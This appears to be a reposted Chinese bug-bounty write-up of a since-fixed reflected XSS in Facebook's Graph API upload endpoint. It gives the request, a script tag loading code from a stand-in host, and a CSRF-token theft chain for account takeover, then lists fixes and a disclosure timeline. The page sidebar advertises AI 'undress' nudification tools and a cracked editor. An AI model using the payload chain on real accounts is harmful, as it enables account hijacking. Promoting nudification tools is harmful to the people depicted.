搜尋
首頁運維安全利用反射型XSS漏洞劫持Facebook帳戶

利用反射型XSS漏洞劫持Facebook帳戶

Dec 28, 2019 pm 05:20 PM
xss漏洞劫持

利用反射型XSS漏洞劫持Facebook帳戶

漏洞狀況

漏洞只在IE和Edge瀏覽器中有效,漏洞原因在於graph.facebook.com中的某些API端點,在處理HTML程式碼回應時未實作完善安全的轉義措施。回應訊息存在於JSON格式中,HTML程式碼被當作其中一個欄位的值也包含在內,而且回應訊息不附帶Content-Type 或X-Content-Type-Options頭,這樣我就能有機會在IE/Edge中構造程式碼執行了。

(這兩類瀏覽器會掃描整個頁面確定MIME文件類型,而其它瀏覽器只檢查前幾個字元)。

漏洞復現

1、首先,我們傳送以下上傳方式的POST請求:

POST /app/uploadsHost: graph.facebook.com access_token=ACCESS_TOKEN&file_length=100&file_type=PAYLOAD

其中的ACCESS_TOKEN#是由Facebook for Android的第一方應用程式產生的有效用戶存取令牌,PAYLOAD則是我們想插入的HTML程式碼,用於後續引誘受害者在瀏覽器中執行。當提交請求後,遠端服務端會傳回一個類似如下的值,其中包含一個後續會用到的會話ID(具體請參考Facebook官方說明):

{"id": "upload:MTphdHRhY2htZW50Ojlk2mJiZxUwLWV6MDUtNDIwMy05yTA3LWQ4ZDPmZGFkNTM0NT8=?sig=ARZqkGCA_uQMxC8nHKI"}

經測試發現,其回應訊息中沒有內容安全策略(CSP)限制,所以,我想到了能不能用一個包含外部連結的js檔案來插入HTML程式碼,例如:

<html><body><script src=//DOMAIN.com/script.js ></script></body></html>

2、這裡的上​​傳請求被Facebook後端做了Base64編碼處理,回傳顯示如下,其中包含了我們特意植入的Payload:

upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD0wJmZpbGVfdHlwZT08aHRtbD48
Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?sig=ARaCDqLfwoeI8V3s

所以,用該編碼串之後就會有如下請求,用它可以向Facebook發起POST請求:

https://graph.facebook.com/upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD 
0wJmZpbGVfdHlwZT08aHRtbD48Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?s
ig=ARaCDqLfwoeI8V3s

3、由此,利用上述請求串,我向其中加入我在步驟1中產生的有效access_token,建構了一個HTML網頁放到了我的網站中:

利用反射型XSS漏洞劫持Facebook帳戶

#該頁麵包含了一個提交樣式,受害者訪問之後的回應訊息如下:

{“h”:”2::<html><body><script src=//DOMAIN.com/script.js ></script></body></html>:GVo0nVVSEBm2kCDZXKFCdFSlCSZjbugb
AAAP:e:1571103112:REDACATED:REDACATED:ARCvdJWLVDpBjUAZzrg”}

重要的是,https://DOMAIN.com/script.js中的腳本文件將幫助我竊取受害者的“fb_dtsg” CSRF token,並且可向https://www.facebook.com/api/graphql/發送一個添加手機號碼或郵箱地址的綁定請求,實現間接的受害者帳號劫持。

漏洞修復

1、在file_type参数中加入对HTML代码处理的安全转义措施;
2、给每个响应中加入“Content-type: application/json” 头避免进一步的攻击。
漏洞上报及处理进程
2019.10.10   漏洞初报
2019.10.10   Facebook确认
2019.10.11    Facebook修复
2019.10.24   Facebook奖励5000$

相關文章教學推薦:網站安全教學

以上是利用反射型XSS漏洞劫持Facebook帳戶的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述
本文轉載於:FreeBuf.COM。如有侵權,請聯絡admin@php.cn刪除

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

熱工具

SAP NetWeaver Server Adapter for Eclipse

SAP NetWeaver Server Adapter for Eclipse

將Eclipse與SAP NetWeaver應用伺服器整合。

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

EditPlus 中文破解版

EditPlus 中文破解版

體積小,語法高亮,不支援程式碼提示功能

MinGW - Minimalist GNU for Windows

MinGW - Minimalist GNU for Windows

這個專案正在遷移到osdn.net/projects/mingw的過程中,你可以繼續在那裡關注我們。 MinGW:GNU編譯器集合(GCC)的本機Windows移植版本,可自由分發的導入函式庫和用於建置本機Windows應用程式的頭檔;包括對MSVC執行時間的擴展,以支援C99功能。 MinGW的所有軟體都可以在64位元Windows平台上運作。

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

強大的PHP整合開發環境